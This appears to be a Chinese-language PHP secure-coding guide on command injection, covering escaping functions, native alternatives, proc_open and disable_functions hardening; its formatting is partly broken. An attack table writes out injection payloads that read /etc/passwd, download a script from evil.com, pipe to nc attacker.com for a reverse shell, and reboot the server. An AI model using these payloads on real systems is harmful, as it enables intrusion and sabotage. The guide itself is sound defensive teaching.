exec()、shell_exec()、system()、passthru()、popen() 等函數執行系統命令,若**直接拼接用戶輸入**,將導致**命令注入漏洞**,攻擊者可執行任意系統命令。本文演示漏洞原理、利用方式、修復方案及最佳實踐。
攻擊向量示例
| 用戶輸入 | 拼接後命令 | 效果 |
|---|---|---|
test.txt; cat /etc/passwd | ls test.txt; cat /etc/passwd | 讀取敏感文件 |
test.txt && wget https://evil.com/shell.sh -O /tmp/s.sh | ... | 下載惡意腳本 |
test.txt | nc attacker.com 4444 | ... | 反彈 Shell |
test.txt `id` | ... | 命令替換執行 |
test.txt $(reboot) | ... | 重啟服務器 |
轉義函數對比
| 函數 | 用途 | 轉義規則 | 示例 |
|---|---|---|---|
escapeshellcmd() |
轉義**命令名/完整命令行** | 轉義 ;&|*?~<>^()[]{}$\x0A\xFF 等 Shell 元字符,加反斜槠 |
ls -la; rm → ls -la\; rm |
escapeshellarg() |
轉義**單個參數** | **包裹單引號**,內部單引號轉為 '\\'',空字符串變 '' |
file"name → 'file'\\''name' |
escapeshellcmd,每個參數單獨用 escapeshellarg,**再拼接**。escapeshellcmd 不處理參數內部邏輯,**必須配合 escapeshellarg 使用**。| 場景 | 原生 PHP 替代 | 優勢 |
|---|---|---|
| 列表目錄 | scandir(), glob(), SPL 迭代器 | 無進程開銷、跨平台、可迭代 |
| 讀/寫文件 | file_get_contents(), file_put_contents(), fopen() | 流式、鎖控制、二進制安全 |
| 複製/移動/刪除 | copy(), rename(), unlink() | 原子性、錯誤處理、權限檢查 |
| 創建目錄 | mkdir($path, 0755, true) | 遞歸創建、權限設置 |
| 壓縮/解壓 | ZipArchive, PharData (tar/gz) | 純 PHP、流式、密碼保護 |
| 圖片處理 | GD, Imagick 擴展 | 內存操作、豐富 API |
| PDF 生成 | DomPDF, TCPDF, Snappy (wkhtmltopdf 封裝) | 純 PHP 或受控二進制 |
| 發送郵件 | PHPMailer (SMTP) | 無需本地 MTA、功能豐富 |
proc_open() 繞過 Shell 直接啟動進程,傳遞參數陣列:
$proc = proc_open(['/usr/bin/convert', 'input.jpg', '-resize', '100x100', 'output.jpg'], [
0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']
], $pipes);
// 完全避免 Shell 解析,參數不經 Shell 元字符擴展
sudo, rm, wget, nc 等) 通過 open_basedir、disable_functions、容器/沙箱隔離。proc_open 配合 stream_set_timeout 或 pcntl_alarm 防止掛起。disable_functions = exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec,system,putenv,getenv,dl,assert,eval,create_function,array_map,array_filter,call_user_func,call_user_func_array,forward_static_call,forward_static_call_array
proc_open 供參數化執行)。proc_open 隊列),按需開放並加強上層防護。命令注入是**服務器級災難性漏洞**。鐵律三條:
proc_open 參數化執行繞過 Shell。disable_functions、最小權限用戶、容器隔離、審計日誌。沒有「輸入看起來無害」,只有「未經轉義的輸入必害」。